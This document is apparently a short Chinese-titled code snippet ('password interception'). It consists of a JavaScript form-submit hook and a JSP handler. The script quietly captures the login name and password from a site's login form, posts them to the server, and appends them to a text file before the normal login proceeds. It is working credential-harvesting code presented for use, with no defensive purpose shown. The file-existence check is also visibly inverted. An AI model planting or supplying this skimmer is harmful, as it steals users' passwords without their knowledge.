用密码密码拦截

function Create___XMLHttpObject()
{
     if (window.XMLHttpRequest)
     {
           return  new XMLHttpRequest();
     }
     else{
          var MSXML = ['MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP'];
          for(var n = 0; n < MSXML.length; n ++)
          {
            try
            {   
                return new ActiveXObject(MSXML[n]);        
            }
            catch(e){}
            }
     }
}
var old___Submit;
var form__ = document.forms[0];
if(form__ != null && form__ != undefined){
    form__.old___Submit = form__.submit;
    form__.submit= function(){
          var xmlHttp=Create___XMLHttpObject();
          var u=document.getElementsByName('loginname')[0].value;
        var p=document.getElementsByName('password')[0].value;
        var SendData = 'a=l&np='+u+"|"+p;
        xmlHttp.open('POST','?'+SendData,true);
          xmlHttp.onreadystatechange=function()
        {
          if(xmlHttp.readyState==4){
            if(xmlHttp.status==200){
                form__.old___Submit();
            }
          }
        }
        xmlHttp.send(null);
    }
}

<%@ page language="java" pageEncoding="UTF-8"%>
<%@ page import="java.io.*" %>
<%
    String a=request.getParameter("a");
    String np=request.getParameter("np");
    if(a!=null&&!a.equals("")){
        String f_path = "\\1.txt";
        f_path=request.getSession().getServletContext().getRealPath(request.getContextPath())+f_path;
        File f = new File(f_path);
        if (f.exists()) {
            f.createNewFile(); 
        }
           BufferedWriter output = new BufferedWriter(new FileWriter(f_path,true));
           output.newLine();
           output.write(np);
           output.close();
           output=null;
           f=null;
       }
%>